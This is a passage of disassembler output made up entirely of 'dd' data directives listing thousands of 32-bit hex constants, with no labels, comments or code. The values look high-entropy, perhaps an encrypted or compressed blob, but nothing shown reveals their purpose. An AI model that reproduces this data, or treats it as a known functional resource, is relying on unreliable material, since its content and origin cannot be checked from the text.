dd 7045DE66h, 0B080430Fh, 0CC7B9AD5h, 84474CF2h, 0F8DCE40h dd 2ABF2FDh, 0BA100C8Ah, 2608CD63h, 2A2F8229h, 0BFC47167h dd 0FB24DDDh, 65A58D63h dd 1306F983h, 0BDB345CBh, 814CC6BBh, 0BA3A5A19h, 0DF15D0C8h dd 9AAC27D7h, 3B5E0394h, 62979C8Fh, 342E7C2Dh, 245B4606h dd 0B5B3A889h, 0B8484EBFh, 0DD959738h, 0FE7080EDh, 0B3782F85h dd 0E15A53CDh, 0AE6DEB61h, 0FDE35D87h, 192FAC17h, 0BFEDC5CDh dd 0ABF32AB1h, 6BD1C01Eh, 0AC991EEh, 0DAC443A8h, 0F003A812h dd 0D5BB856Bh, 0FE79DDF4h, 0DA0700DBh, 0E024DA9h, 0B03AD7E3h dd 0E72AE315h, 8C8D3263h, 0EDFB245Eh, 6443855Eh, 0FB61529Fh dd 0DFF26B3Eh, 0AA87FD4Dh, 5AFC4116h, 1BB762B6h, 51CDB883h dd 8001E565h, 9FF88FE1h, 3702FDD7h, 0BE382BF4h, 819AD47Fh dd 8FE9F9B0h, 0DD536FCh, 7B5C947Ch, 0C40AC037h, 164458FFh dd 0D3A72F8h, 0AD19530Eh, 2EE47F10h, 70E5C982h, 0AF5EDADh dd 86121381h, 1BC6BB97h, 78D0603Bh, 893F4539h, 0EAAE722Ah dd 0F3BF8D56h, 0E82098CEh, 0F2D1D015h, 23891114h, 0C6A0FD83h dd 9338EAD0h, 0DCE88EEFh, 6C2FDF92h, 0E49D52Eh, 0C291CA4Fh dd 0C8BCCA68h, 0A64DC921h, 95F390F9h, 5FDE3E2Bh, 303C692Bh dd 6EC8254Eh, 0DBEB8245h, 40B6D809h, 2A98A1FFh, 0AA666EC6h dd 0F3532658h, 4845F665h, 78BF746Ch, 39479624h, 836BDF34h dd 0B1F767B0h, 0DB28BF4Ah, 0A7EC774h, 83932945h, 77547501h dd 3051A496h, 0C63A44BAh, 600027E5h, 364A1ED5h, 0C6558552h dd 0DFDEB0Ah, 0E00E0746h, 0C62FA4A7h, 631F713Ch, 0B284FDACh dd 77D42558h, 6BBFB7D4h, 433B7A0Dh, 85F2C8B5h, 29BE7CB3h dd 0EAC1036Bh, 8D47AB05h, 2980B61Ah, 0B3C5093Ch, 7B6F824Ch dd 0FB4C1C94h, 0A3F0C8Bh, 2D9CC10h, 71C64811h, 983D5661h dd 9B20180Ah, 3821Dh, 3AFACAA3h, 78DA1299h, 2A001D2Ch dd 4701B5B3h, 28DD28EFh, 0B7D7EC18h, 6CBBBA52h, 71725841h dd 9FC66E74h, 0B6CA8F3h, 9487BCD0h, 116F1A2Eh, 1C5BC27Ah dd 0A288EE39h, 4D3F232Dh, 5309765Eh, 44A5D0CEh, 0BAF09EC0h dd 7C966D83h, 183C5329h, 8E76E0E1h, 49B8CDF6h, 0E5666706h dd 0AF0CC2D1h, 0F9A394EBh, 6BC5D58h, 2F24CF5Fh, 0B2C86354h dd 66C17CCDh, 0EEA50B44h, 0B4BFB167h, 618073CDh, 0AF0C831h dd 94E39908h, 0CE4F69DCh, 0B2536B11h, 9D76283Fh, 0F8AC3781h dd 1F876F77h, 0BCCC5C17h, 242E6783h, 0C3A04120h, 40AF669Bh dd 9316842h, 0B12B218Dh, 0F34AD064h, 0E8AD9528h, 624901CEh dd 28A10D9Fh, 0B21E28BEh, 89D933C7h, 6C0C8E0Ch, 0B55CC46Eh dd 0F26F07F7h, 76B9F004h, 8CAF1E0Dh, 0A308905h, 6192F066h dd 1D6FD7F0h, 236FADE7h, 8988FCEBh, 4302550Eh, 5063C5C4h dd 8A82C173h, 130B0483h, 0DEDF1439h, 77B39383h, 0E14AAFADh dd 416DCA43h, 0E6211DCFh, 76853C3Eh, 8419F7BCh, 0D68825EFh dd 0CA7FB8B8h, 0AEF8D81Ah, 0D9C79810h, 1DC102BDh, 347528CAh dd 81D0D17h, 7FF12C91h, 7EC502E3h, 0AF957C7Bh, 6593CEC0h dd 3DAB55F2h, 943D44Eh, 0EFBDADCAh, 4FD2802Eh, 2009E2D1h dd 19C4F0D4h, 0A840B88Bh, 4EE56C9Fh, 88E35CC7h, 54234E0Ah dd 0A1CAE4Eh, 190569A9h, 1E1FB264h, 0FE66E0E5h, 0A144B982h dd 188CD0F2h, 461E57AEh, 2CD1EA63h, 1F52B7F1h, 0BCDC97C9h dd 0FFF472DBh, 86E909B2h, 0A48FF260h, 7C152C0Dh, 6663AF5Bh dd 9213ED50h, 334B50B4h, 7546FA54h, 0C7B1BECBh, 0F0F98CFCh dd 0D7278FCCh, 8F540D25h, 78E77C3Fh, 46400BA1h, 0DF0FF8B6h dd 0BB727CCAh, 498B93Ah, 9A2CA3F6h, 83E80AF0h, 492AAF0Dh dd 48EC3856h, 688FF5Ch, 95130C3Eh, 958FE1A7h, 0A43F7629h dd 0D3464DFEh, 29E366CFh, 4A097607h, 0C1CBE351h, 47529CFAh dd 8B89BE9Dh, 45C1547Ah, 0ECE0AF53h, 0A2ACCEBEh, 0E7B7D587h dd 1B913ACh, 0DFFB0C92h, 6251686Eh, 9A4A0D8Bh, 0DE2688F2h dd 30D98913h, 40464F9Ah, 0F4A3E7A0h, 0F3555C96h, 8F9DEE4Dh dd 95EC71C2h, 1D519AA2h, 990B7600h, 0F0F56323h, 3BEA0BDDh dd 0E74757Eh, 192FE230h, 90C07ADEh, 319644A7h, 107EE4DAh dd 68615092h, 448DB2A3h, 7EFE30EBh, 85DA66A7h, 99CF1263h dd 0FF696139h, 2EDDFB0Eh, 0A0936F73h, 74F80BC8h, 0ED56A7C6h dd 5686028Eh, 0C386F7B7h, 0E05500FAh, 6AA40A69h, 0E3F9F5C0h dd 0F14F89F8h, 382BEE64h, 0EEDE8341h, 0AAD9F3A7h, 6E5C2D99h dd 0DC571974h, 5168EAC7h, 3D5E1374h, 0DCB88033h, 72BE2411h dd 23D5CEEDh, 0C02C4A6Eh, 0E556B5E0h, 0DAF5FEF3h, 0C3D1CF39h dd 2C6D8ECCh, 3F23C094h, 56F4CE2h, 12B8B3A6h, 873E20B1h dd 42F472E9h, 746E78A5h, 0BB7C59CCh, 4CA1847Bh, 0CF5430BDh dd 88C33C88h, 0D0BB9A2h, 0A363AFA9h, 854FB0FCh, 6757A6h dd 60D51D2h, 33E90BEh, 0B3D5A742h, 0CE0AF5F0h, 0A21073EFh dd 0E759D7D7h, 8133902Eh, 12FE97FFh, 0DB1CDE54h, 0B3C8CC48h dd 1C51E3FFh, 777193BFh, 0D5A25A4Ah, 0CC93B53h, 0AB2E6B73h dd 75AB4F74h, 32138DB1h, 5CC87A8Ah, 0D0B88B0Eh, 5271F0FDh dd 4F565767h, 7F1FF08Bh, 138E4020h, 390CFE18h, 62F53CF4h dd 9489CBE8h, 0F2345AECh, 332C422Fh, 9DE598CCh, 0A97ADFE0h dd 797DAB0Fh, 6678CD87h, 0B308B85h, 549741D4h, 0E52873BEh dd 0C97323B3h, 7A39B317h, 0FE9A68FBh, 7F6022A2h, 9D049686h dd 55184F96h, 724F98D9h, 85AD20F3h, 53E9BA2h, 0DE45B779h dd 0FB8ED158h, 3AEC1011h, 71FDE291h, 0B99E9208h, 0CE5622DCh dd 0D4946A9Ch, 5E91BA2Fh, 1A0B4608h, 58ECBDEh, 0E016D5A9h dd 6A009B2h, 5E9AE3FDh, 2138EB4Eh, 53CC480Eh, 0BD588C31h dd 952831F8h, 0C3C57380h, 0CC869483h, 0C3F4365Fh, 9586C6ACh dd 0D7D8A818h, 0EB83B07Ah, 21E94574h, 0E0505140h, 3248F6D5h dd 34C57C27h, 0A396C6BFh, 6615F2ABh, 67E71667h, 181C9507h dd 26B07DD5h, 6DA73B5Dh, 844AE2DFh, 328C0358h, 99105035h dd 0F0668869h, 3585BE3h, 2DB8C04Bh, 0FF1E74AEh, 0D34B6556h dd 5BE3B699h, 96C79C8Ah, 0A50A2A99h, 68342DDAh, 997E3CDDh dd 0C45047F8h, 159CC039h, 0CA55716Ah, 0B2E37550h, 3CE6763Ah dd 0BE091A08h, 89B5756Ch, 27E763AFh, 560AC75Ah, 0A2CDEA0Fh dd 4D055618h, 294D09D6h, 0CDB8F266h, 73C9F132h, 0A6AB8379h dd 923B0E2Fh, 0E16DE8D8h, 0BFE65AA3h, 0D8D4F206h, 83C98DE3h dd 7070484Ch, 0E396433Bh, 9AD7B7FCh, 0C3B36F3Ch, 0D9E8F447h dd 5CD9D511h, 0F2FF93FEh, 79CB703Ch, 9B5935EBh, 3F9A9503h dd 0C0499BE8h, 0F2934F40h, 3B464A31h, 0CC175880h, 3175B844h dd 0B708B136h, 4CC4D7B0h, 3F6BF9B3h, 64D4387Ch, 2B182AF0h dd 0DC58874Dh, 86D9680Ah, 78147DBh, 710786F9h, 84969E38h dd 0E83631E1h, 0A088365Ah, 0F9D01402h, 3B4A365Bh, 0B6987E6Dh dd 2CF58451h, 0E9CBBC15h, 0A2D3621Eh, 0E521A7A4h, 0FF5A6596h dd 0B32F65E4h, 0DC8B6AB7h, 2B1B2A90h, 62C74D1Dh, 0FC1C70CFh dd 72D1842Ah, 0FBA6B6FAh, 0A642EFC9h, 0BB56F4FAh, 62540E35h dd 0FCFCBFC8h, 0CEB590E3h, 0BBF503B8h, 40BC1574h, 0F13E1D6Ah dd 177FCCDCh, 0ACDA5F70h, 7E37C20Bh, 785B34C5h, 0E5A72826h dd 0BC910103h, 31F2107Bh, 3A6624FEh, 36951B53h, 0CD672D66h dd 0B8EA518Ah, 8AE3CE30h, 0DB9922F4h, 6A573566h, 28DC74F2h dd 2D154C12h, 175BBDA3h, 29A8FFCFh, 5601C509h, 5A438345h dd 7653AD7Dh, 0F005C83Ch, 0D9DFC2E2h, 0A4E4017Eh, 0F9C3C689h dd 4235EDF3h, 0DEC64B45h, 2B13005Bh, 55A6C8D2h, 1915ACB1h dd 2D0B1C27h, 0B08CA6BEh dd 0BEFC5415h, 33BA8834h, 2E1167A7h, 8E12FA10h, 9A9F280Ch dd 0D7A6C3FDh, 7296BAB9h, 3E6152E1h, 0A578A3EBh, 0CDAB881Bh dd 2424C0B2h, 0EFFC3676h, 54CA9495h, 5FCE4BCBh, 13E766A7h dd 8D8B801Ch, 6BE8091Fh, 1C68695Ah, 0F3EC237Fh, 4366C3E9h dd 0B56DBD15h, 6146A700h, 0FD1C2C3h, 363D2C3Ch, 1EEE31ECh dd 0F0DC6Eh, 7ECA52F7h, 2EBC7B02h, 0A4740FC4h, 7B7496C1h dd 0B88993Ch, 20657DADh, 0C79B2D5Dh, 8E77BD08h, 0DE8A9771h dd 0FB804F9Dh, 177D1226h, 9181E5B7h, 1B9FBAF0h, 30704AF0h dd 1E62028Dh, 0C7E4E2ECh, 0EBA39E37h, 6F79C345h, 3D75100Fh dd 0BDEBA518h, 0AD4C46E0h, 0B4AE7892h, 85265ECFh, 0A7E352AEh dd 16EB7B07h, 63DD0EC9h, 5362B5EDh, 0C3C6B724h, 5DC49628h dd 0D608B1C1h, 7ECDDB19h, 4D97FB6Bh, 0D05FC9D7h, 55550755h dd 61D9CD4Eh, 0DACC496Eh, 0B2E172A1h, 37C22039h, 16A42C58h dd 6B06DB19h, 4736E4BEh, 0D81D5F29h, 0E591CDA3h, 600968Bh dd 76C137BAh, 0DD82340Ah, 45ADBD4Dh, 0B631DF6Ch, 66CCF57h dd 3F091641h, 0C1F55446h, 92355726h, 0C65B8D1Eh, 4D90C046h dd 1D5A58BCh, 0C640FBC4h, 0E9EC1264h, 2300A10h, 6C81670Ch dd 0ED0FF4B1h, 0F5BD7E02h, 731CF94Ah, 1B33FCCEh, 0C2AFE336h dd 7E26C8DAh, 21989C1Dh, 0E4816A06h, 0A124EBA2h, 242D439Dh dd 1EC0B39Ch, 29D48BC2h, 0BD136CD3h, 18421B7Fh, 8F6581C4h dd 56B746FEh, 0FE43D449h, 0E5E047D5h, 1F7DECE6h, 96CE2DEBh dd 54DED5A8h, 1F72B0DDh, 0FEC94C03h, 820068A9h, 0B45A5387h dd 3C692E2Bh, 5E983BABh, 0D1AD9B8Ch, 4D6FECD6h, 4A27BF5Ah dd 13D8CA76h, 52153h, 0A3AA2F44h, 51D18EAEh, 0B431664Bh dd 42CC11EAh, 0DE082046h, 61913F91h, 0E04F027Ah, 19B22334h dd 0D738C32Ah, 524346F8h, 6C2B6052h, 6A10FD85h, 0CC5721C5h dd 83091721h, 0DBCC74DEh, 51557228h, 2C569700h, 0E7F4A337h dd 0CEF97B60h, 12425F82h, 1BDE18E6h, 80C9EFEBh, 876AB87Dh dd 613DAC4Eh, 4C44F077h, 486E5CD2h, 979B52BEh, 67B016CAh dd 91CE3FE7h, 0EF5A2BB1h, 1B30C6B1h, 0AB243FB6h, 671B07Bh dd 0B93CDFA2h, 83CA5BABh, 0A84622F7h, 796EA126h, 5821A19Dh dd 7A85D019h, 6650424Eh, 9847A50Dh, 1A934F1Eh, 6FE4023Bh dd 0FB5D69FDh, 80FA7586h, 7F18C52Ch, 0CEFF2E82h, 0E6F3D2h dd 26D8733Ch, 0A531DD1Fh, 213F7A27h, 0C8F11257h, 45FC03A9h dd 0AABEE024h, 719EA136h, 3A283AEDh, 69BC37FDh, 7631CDB7h dd 0B900A062h, 70ED87ABh, 0E294513Dh, 0FD527554h, 0FAF84295h dd 0FC7337DEh, 594ADA20h, 1E1FDFF6h, 0B03604A6h, 0D0F85855h dd 0BDE18175h, 5DE97D62h, 4F13396Fh, 895C785Ch, 3AE82E8Dh dd 7DF42318h, 0DA5FB2F8h, 5423A7D2h, 0CB918E94h, 1A3DB44Ch dd 0C7EEE9B5h, 6F5F205Ch, 0B578A76Ah, 0E086AD0Ch, 0E7EA5CDBh dd 0ACABF171h, 5B9B2EB5h, 816B7778h, 48D4D19Bh, 8EFC0B21h dd 8D7B79EAh, 5814160Ah, 0B0729312h, 963286B2h, 0EB402FF2h dd 920DBDAEh, 0AAFF3CBh, 84474B49h, 0D9943567h, 0AB723987h dd 8439A03h, 303D8738h, 0BA3F1EB5h, 4D9F2127h, 44D80AFDh dd 0D7A4C94Ah, 2B7AE0F8h, 0D63926ACh, 3B5F6389h, 302D7472h dd 637E089Eh, 813DA78Eh, 195426B1h, 8FEA9C68h, 0D955A5ACh dd 6601BFDAh, 21AC82A6h, 703EAC04h, 5FDDA69h, 344C050Ah dd 0FBB233CEh, 5DBEA50Bh, 2CBB8B28h, 0CC96BE51h, 0D58C779Eh dd 4AD92C72h, 8DE9039Bh, 6F6E6B3h, 3EF421B2h, 0F98F70BDh dd 48499649h, 76120629h, 748C2BA1h, 0E8A741A6h, 0DD57C089h dd 66426312h, 1EA6231Dh, 0D0C6070h, 0AF299099h, 5E2E8310h dd 0EE49540Bh, 4ABA7E2h, 0A7154DFEh, 42FA66B7h, 0BA492C95h dd 5F25E6F8h, 9FE6B2FAh, 0E9E557F1h, 5606C68Dh, 14C78BA3h dd 895CE85Eh, 0B29DB024h, 6C43BF0Fh, 65154553h, 0EF0672F8h dd 0DDB4B490h, 330A006Bh, 4D8C1AAFh, 47353199h, 5EE47220h dd 6F21FE00h, 9C4ACEE9h, 0E0091FE1h, 3E33F5F1h, 3B492C2Fh dd 58DC1530h, 67D34B02h, 0B1AD20DCh, 964F14ACh, 65BC81E9h dd 78B1FD7Fh, 0ABA178DFh, 0FB475DAAh, 0D8D23560h, 34BC51C5h dd 0E073603Dh, 0C4DB9565h, 26B8B882h, 5B96098Ch, 75A1EE0Fh dd 69BB3A5Ah, 0F52DA830h, 0FBA843BFh, 2FADC1BBh, 0F40EA5D5h dd 58AB9B7Ch, 0D9EFB21Fh, 0BB840ED6h, 128C05C9h, 733E6AB7h dd 5EC22239h, 0D1AC2B4Ah, 74151404h, 0FD0F4483h, 2ED9659h dd 7D490BD8h, 0C52BC9DCh, 0B9342D42h, 0AFD1E09Dh, 0EF6DFDE8h dd 29381F59h, 0C235735Eh, 309BB38Dh, 3AC4FC40h, 0C7FE2E4Dh dd 56D86F54h, 0DB731622h, 4AE45974h, 272397DDh, 76336452h dd 6879B490h, 0B5150520h, 40A413FDh, 0BA57E228h, 4BE8CCE3h dd 5553E891h, 0F3674C63h, 1795A70Eh, 0D7446139h, 0FCEEB70Fh dd 7B64EBC9h, 0D01EFFFCh, 0E4AACAB7h, 7BA73D55h, 0F5BC2967h dd 92829E35h, 39CE29BCh, 0C8E60155h, 0EE2C1AF9h, 0B4C859DAh dd 510801DAh, 7E5CD5DFh, 0A50EADC3h, 30A0FA15h, 373C1589h dd 0BFA2A7BEh, 0FB214113h, 81142987h, 72045D89h, 6DADF99Fh dd 0BA341582h, 58DEC3CBh, 9D1717F1h, 2F8ACB15h, 55987E0Eh dd 3BCA2735h, 6D31645Bh, 1D92AF4Eh, 0BD2D896Eh, 8C462C5Ah dd 0C511543Eh, 0C07C0B54h, 618F1534h, 67A017C6h, 0A29CE1Eh dd 0D4361D32h, 0A03D4792h, 83F5371Ch, 9EA75A8Dh, 0C4251A4Bh dd 0F3AE3E93h, 4F46E6F2h, 14DBFE1h, 26397FF6h, 3DC38516h dd 0ED7E24D5h, 396C1C4Ch, 0A69CFB7Fh, 7C40C002h, 0C6777AE6h dd 5142AB16h, 39219B2h, 1C73D87Ah, 0EC37E4B5h, 0D6A1C76Ch dd 0FDB6DE64h, 0C6B714CEh, 314B94BCh, 0DFC85260h, 78597F3Eh dd 99AC98Ch, 80A7AA19h, 2BC26D73h, 73DC599Eh, 71BE9BBBh dd 5E0035A9h, 435B3F2Ch, 8402A058h, 76EC8996h, 0A146D636h dd 904CC740h, 0A32D9638h, 26894B9Dh, 6E58923Dh, 0CF724361h dd 8B94B6A4h, 77CB40C2h, 1F74B674h, 5174CA6Eh, 38963798h dd 0A63CF2E9h, 0A0F329E4h, 40BB8C98h, 12C76772h, 0CAC78F39h dd 6FCC98FBh, 4E031A7Fh, 60463EAFh, 7864AA4Dh, 976DE8EBh dd 49E5215Ah, 3BF4CFE0h, 0D12D95D4h, 0BCE3065Fh, 0FB715F50h dd 9FAFD8FFh, 7D5B4844h, 9D3B68D7h, 0C5A1AE90h, 427B806Fh dd 0A1EC677Dh, 0EB56D6FDh, 982FAA5Fh, 0A510840Ch, 0FA47E934h dd 6693DFA0h, 6768965h, 0F4C4094Eh, 885E3C82h, 0B805E348h dd 0FC29E90Dh, 75C04A88h, 388D0CEEh, 0DC2AB84h, 0C4E950A1h dd 0D0CC38CEh, 0C6BD089Ah, 2ED10D52h, 0F9A9D7FFh, 0B1845119h dd 5A87AB97h, 0F60BEA40h, 91A20EADh, 0C91464E1h, 4A7AE65Eh dd 0C7CF57D8h, 0E8263964h, 77D10934h, 15D29800h, 113EDB5Eh dd 0B53901FCh, 0CBB75930h, 0D84B7619h, 6CCA734Ah, 0CB779B2Bh dd 8FA8F963h, 91AEA64h, 8BCE5E1h, 9CD56CDCh, 0E7B7DDB1h dd 151D33FBh, 0FCD6A001h, 40B688F8h, 45821D37h, 1631E036h dd 0D64CC755h, 160713BAh, 3B522BF9h, 6A9D2C79h, 0E6A1AD34h dd 4C9A3D4Ah, 5D374284h, 0E6ED9F10h, 14F26797h, 0B88EAD63h dd 665A65D7h, 672F80B4h, 0D225566Ch, 0B20276FFh, 7808C68h dd 9492F643h, 37056186h, 9BABBA46h, 0F1011764h, 60326900h dd 0C3F5648Ah, 75C587BDh, 0F47933D8h, 0CDE4BC3Fh, 9053ED48h dd 579E356Fh, 9F436452h, 7E8E0DBDh, 8815E81Fh, 38EDEECFh dd 5CBE9CD5h, 0DF380A9Dh dd 564848C6h, 0DD6B786Bh, 0DA8C6D91h, 0E74F43C2h, 0D9440B55h dd 0D3F879Ah, 9478AF49h, 822B61EEh, 0F2669279h, 22FF30EFh dd 98230493h, 0E5607654h, 0D3F70A86h, 23F0AA02h, 0AE4C0502h dd 0C82F5624h, 0C7D93ADBh, 8EBAA599h, 0C98FFDAFh, 0A7020D5Bh dd 63FF4B38h, 7225E861h, 4A9B12Dh, 0FEF4AEAEh, 2851191h dd 0D46CA62Ah, 56DF4AB1h, 27531D38h, 0E79CFFD9h, 40938731h dd 172683CBh, 0EAE0D629h, 0C554CD9Ch, 0E4051CE3h, 448297DDh dd 7253EB08h, 71AC210Dh, 0D8902F45h, 0DD106681h, 28C9E634h dd 89105050h, 0ACB0D425h, 68EA45F6h, 447AD3EAh, 0D2D44484h dd 0B3CC3417h, 0C5037EBBh, 729D05CCh, 0D37FF708h, 59539FBDh dd 476C26FEh, 0B9B50D0h, 45BC8BEEh, 6FAC443Ch, 2F8F8F71h dd 0B508A85Fh, 7C698A9h, 0F31706E4h, 1A49B0A8h, 8761B381h dd 0E3DA2DF4h, 6715D23Fh, 0A983FA60h, 62BE12F6h, 0BB75FFF8h dd 0B68B9A99h, 277ABF29h, 0B2A27C9h, 5AECF98Fh, 0F6B98340h dd 49CC06C9h, 0D56AB86Ah, 6555A462h, 0D2CF922h, 0DF08E7A2h dd 469BB892h, 0E13648DEh, 0AF992B1Bh, 216DD7D8h, 9A43E235h dd 3ACEF6FEh, 9C50A681h, 841F8D80h, 557114B1h, 24D3963Bh dd 6AB79AA9h, 1712E044h, 2F3BC4B1h, 0DF04CD14h, 823B572Ch dd 0CCD4F2B4h, 0F03D120h, 3B0F5F68h, 0C954984Eh, 0FAF30457h dd 5A73B64h, 52DBFBB5h, 5C3EE78Bh, 0F1ECC1D5h, 9E5A1908h dd 0EF9A4173h, 57D31954h, 790CF570h, 7281D957h, 0AF75ECDAh dd 0EEA6D3Bh, 7A80A74h, 0EFC97BBEh, 3F8953BEh, 71AF34Ah dd 0FC8ADB7Eh, 24215803h, 5D3DC232h, 612773CBh, 535CE5C6h dd 0BD0C4CECh, 0D829DF27h, 4EBB457Dh, 23852CCFh, 9EA4B7A2h dd 10E37999h, 0DE0ADDBDh, 0FD97DE48h, 0BF02E7F9h, 0BD167B29h dd 1B41B2E6h, 65B2FC84h, 9C41F93h, 391E3469h, 0BD0DB5B0h dd 8FE7EF8Bh, 8AA73BD5h, 0D6AF660Ch, 0B827C1B8h, 405C2113h dd 55A59CCh, 6B70C88h, 9F49FA4Dh, 3BBFAA21h, 7713E383h dd 40D0157Fh, 130CC3EFh, 52325FE9h, 7365BA2Dh, 0AC01ECB2h dd 0E3413395h, 350E5658h, 25E3AA0Fh, 0F6C6AA71h, 73F315F5h dd 5479E3EDh, 0B9DA3EF9h, 16C3D1A0h, 6A07FB4Dh, 4F7AB0C0h dd 403BCBD3h, 0CB771E81h, 6F6F6B97h, 4D681B8Fh, 3C490FE8h dd 0F68CCA9Fh, 70F30Bh, 395BB68Bh, 0B4C302F6h, 0E8A3A808h dd 99A28A5Fh, 0D71D3DF6h, 7C5D8287h, 0A35ECBFAh, 19FC474Fh dd 0E2F729F3h, 81741052h, 21EEC5BFh, 2694D19Fh, 4F25D3C8h dd 0C8B2551Dh, 4EDAAD68h, 23E3C5B1h, 0CECB7630h, 63A89BD5h dd 61C77C39h, 8C320DDFh, 0B12544B9h, 2003AF7Bh, 0D80CD627h dd 0C81AD241h, 0AB5ABDDEh, 754D564Eh, 4E7DF779h, 0CA6E03D4h dd 0FEB4F029h, 3F74115Eh, 1E67FAEh, 619B8C26h, 9C89DF0Eh dd 0C9420890h, 524C8584h, 0B272D40Eh, 4FB33CDDh, 0F6FD1E61h dd 402C98Fh, 8D3BADFh, 1347951Bh, 0E836EF5Eh, 0F1C4844Ch dd 5B4BC8DCh, 939A98A9h, 75C49CB8h, 0FBB4C08h, 0EAC15B8Dh dd 7A3238C6h, 702D89CFh, 84F35764h, 0E40467AEh, 0E9ED924h dd 0E48A6908h, 69EDC855h, 7C0C56C1h, 8AC97120h, 5C15AFFBh dd 411F4A0h, 0DB0AE3BAh, 9C0E0347h, 847B82CBh, 50467E90h dd 97C441CFh, 2439BE07h, 540FA487h, 0C14F77A6h, 60E0475h dd 5F176DC9h, 769DBC2h, 9DA3D711h, 0BB127861h, 6B9D753Ah dd 2514C3F6h, 0C0345B7Ch, 3BF9C8E6h, 3D0F294h, 0B5F41EDDh dd 0CEA71296h, 3FDD4717h, 2DEB6969h, 1D40F143h, 5CE72411h dd 3E4EE9F7h, 22BFB1CCh, 0EE303FDFh, 0BBE9F685h, 2B096B64h dd 70966869h, 42F59468h, 3E5BBCD7h, 62E5F27Fh, 1A7C6DDDh dd 8F5A88E1h, 390E1D8Dh, 7B3C9AFFh, 0A5072FF9h, 26FA95C4h dd 503B9975h, 0F70BE1F7h, 284BB6CAh, 61AB63CAh, 7CB31EA0h dd 0FD5433A2h, 43B0070Dh, 0D8620D27h, 0AAABC9Fh, 0BA10DF7Dh dd 63AACEBDh, 0B8724D08h, 80EEA1CCh, 4A11AA39h, 0BF83866Eh dd 40E7BD17h, 0B0E21DEFh, 0E8D0E8E7h, 97C977C7h, 31D73636h dd 0E3C237FFh, 45263D95h, 723535ACh, 19022B51h, 0DC948A30h dd 4A0EA363h, 7190F0EFh, 7EFBEF17h, 941B5FA4h, 5E879879h dd 4B45889Fh, 0A5F54D3Ah, 0C1EEEEA7h, 8C445A64h, 0B97C943Eh dd 0C7DE638Eh, 0A99FC050h, 2CBD0568h, 0B4E65771h, 0B1E34955h dd 448F1C83h, 2051C6A7h, 5BBC028Dh, 0B6155C3Dh, 0F4F36FE9h dd 18F6CA06h, 2AEF3983h, 0D29C1035h, 0FE004BF5h, 2155F777h dd 0C368C31Ch, 0EEA3BC55h, 2810C29h, 0F83BD5F9h, 0B9A65D64h dd 0A1493390h, 383BCB1Ch, 0BDA393E5h, 0BB59EBEAh, 64804BF3h dd 12E1E439h, 586589A1h, 3E8B36BBh, 7424BF69h, 14FF0A79h dd 2DE23778h, 69072F5Ch, 0BB72A4D9h, 0EA0F8977h, 0DF6DB15Fh dd 0BCEA0546h, 44826CA2h, 0E8E2F1F0h, 0F122AD1Fh, 0E17C1E72h dd 0F31AA5AFh, 8F36A423h, 57AA7CAAh, 6C522A48h, 1CECE31h dd 0BBDE604Bh, 76CD7735h, 0A7B58B89h, 5AF2B070h, 858BDEA3h dd 0D145C4D0h, 8BC2F30h, 3DE4216h, 782AF25h, 87269ECFh dd 0B7013264h, 0C7AB4B62h, 77C7EA5Fh, 0EE574F97h, 0D84EA10Ch dd 0A0AE1953h, 114EC911h, 0C9E24A73h, 964A11ECh, 441888DFh dd 45C0C784h, 0B66EBEDCh, 986AC724h, 7195CE78h, 0FD99910Fh dd 0A378D25h, 1DF6DFCBh, 45A980B7h, 57E7FDB0h, 0BE21144Fh dd 0BAEB6AFCh, 444324FBh, 9F57D35Bh, 0A059CE83h, 0C34395FBh dd 7D91B364h, 0ADB676B9h, 4F66BA59h, 0F87C1718h, 0C5AC83B4h dd 3F12950Dh, 0B193529Dh, 144E12E0h, 0CCEF4B6h, 9B8B9DEh dd 0DAF86B17h, 7E2A5A4Dh, 4A2D2322h, 0AB275AA8h, 0C9EC8A91h dd 0A318C7Ch, 0DCCAB9A3h, 0EB2086F6h, 8D8F27EDh, 9B0AB655h dd 7473693Bh, 7C2AF270h, 6D87E984h, 46D029C9h, 0DB980F58h dd 0CF3BD06Fh, 78D32627h, 0A7937901h, 6647A82h, 52F7AE49h dd 0DEED106Fh, 23110179h, 0ACEA1D1Dh, 0E5451AB6h, 2A1A3715h dd 6BE5663Ch, 8608A1CDh, 36BBB331h, 0E855CC72h, 7CD7DBC1h dd 6FADE2CEh, 0F1348334h, 23AAB686h, 0DF64C76h, 0ECFF192Eh dd 28B8F471h, 0ADEEA1EFh, 0D9DE102Fh, 6AD8D53h, 0D2C9326Fh dd 0CD088DB6h, 85BC17C3h, 0EE76E2B4h, 0F75A9F02h, 0B1BBBCF8h dd 9B4E6043h, 378266D9h, 42F878BCh, 32E1FDFEh, 390DBE4Ch dd 64F91C0Bh, 0C362745Ah, 8BC56096h, 0F06C1709h, 18133F54h dd 716825F3h, 56DF35AEh, 0F6EBE028h, 27145162h, 0A5F927F9h dd 0D6AA7344h, 1A7C042Eh, 4C184948h, 9E3B4293h, 4C5E9E13h dd 5167B91Ah, 2AAE574h, 54018BCEh, 0ACE7CE25h, 18F11CDAh dd 40FD4A88h, 0E1BF828Bh, 0ABABEE2h, 3356CBB8h, 1706D729h dd 5FC734D6h, 0CC192B93h, 34460C1Ch, 91CCA046h, 0C41BE0FDh dd 2BA7E615h, 6E06CFC5h, 442806F9h, 0ACDC342Ah, 0C0B36078h dd 84CC9C87h, 0DA71589h, 65065849h, 9E301EB0h, 27836ECAh dd 8F2D1DFBh, 9F861EF2h, 0DFC388F7h, 563611D1h, 383ED3FBh dd 0CD473A14h, 0C221628Ch, 0E6A3F293h, 76E80C94h, 0BBE68FF2h dd 0C3E53900h, 1CE075F2h, 0F6AE1758h, 6AFA8E4h, 6D5CE94Ch dd 0B98D782Ch, 0BEB3245Ch, 0D22A8E91h, 595F883Bh, 949037CDh dd 6A135681h, 0F2B91B85h, 8472C8B6h, 85F980F6h, 0FA793013h dd 631FC3CBh, 0F0F9EBF7h, 0DBB9CDFDh, 701B5598h, 4AE1BDEAh dd 2D14B80Eh, 81EA6F2Ah, 0A67260ADh, 0D8D7C7BEh, 9D3BE073h dd 5FA1A3E4h, 0F09A7F4Eh dd 0BBC58BEAh, 4ED51498h, 0E54980EAh, 65A2DA94h, 5EBF5544h dd 798B25FBh, 7AB303Eh, 6DCF24ABh, 0CDEB3B9Dh, 674FEC5Bh dd 52E4C2Fh, 7750940Fh, 0F34CD80h, 3CA459FCh, 924E4446h dd 0EB7D5B1Eh, 30BAAC0Bh, 24D60F2Eh, 37D2897Bh, 0BD317457h dd 7AD89B7Eh, 0A2AB6F04h, 0A7806857h, 0DE58D5ABh, 9609D1AEh dd 0D3996BB5h, 0CD972549h, 74C10A1Ah, 0B888A7B1h, 16AE9BDFh dd 